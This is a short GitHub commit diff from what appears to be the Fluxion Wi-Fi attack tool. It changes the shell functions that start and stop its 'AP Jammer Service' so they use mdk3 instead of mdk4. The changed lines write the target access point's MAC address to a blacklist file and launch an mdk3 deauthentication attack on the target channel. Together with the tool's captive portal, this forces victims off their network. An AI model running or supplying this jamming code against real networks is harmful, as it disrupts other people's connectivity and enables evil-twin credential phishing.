remove mdk4 and using mdk3

This commit is contained in:
Usama Abdul Sattar 2019-07-29 08:03:44 +05:00 committed by GitHub
parent 79197b5a4e
commit 2db2ef38a0
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 3 deletions

View File

@ -1415,7 +1415,7 @@ stop_attack() {
2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice
CaptivePortalJammerServiceXtermPID="" # Clear parent PID CaptivePortalJammerServiceXtermPID="" # Clear parent PID
fi fi
sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk4_blacklist.lst" sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk3_blacklist.lst"
# Kill captive portal web server log viewer. # Kill captive portal web server log viewer.
if [ "$CaptivePortalWebServiceXtermPID" ]; then if [ "$CaptivePortalWebServiceXtermPID" ]; then
@ -1511,7 +1511,7 @@ start_attack() {
CaptivePortalWebServiceXtermPID=$! CaptivePortalWebServiceXtermPID=$!
echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice" echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice"
echo -e "$FluxionTargetMAC" >"$FLUXIONWorkspacePath/mdk4_blacklist.lst" echo -e "$FluxionTargetMAC" >"$FLUXIONWorkspacePath/mdk3_blacklist.lst"
if [ $FLUXIONEnable5GHZ -eq 1 ]; then if [ $FLUXIONEnable5GHZ -eq 1 ]; then
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
@ -1523,7 +1523,7 @@ start_attack() {
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
-title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \ -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
"mdk4 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk4_blacklist.lst\"" & "mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
# Save parent's pid, to get to child later. # Save parent's pid, to get to child later.
CaptivePortalJammerServiceXtermPID=$! CaptivePortalJammerServiceXtermPID=$!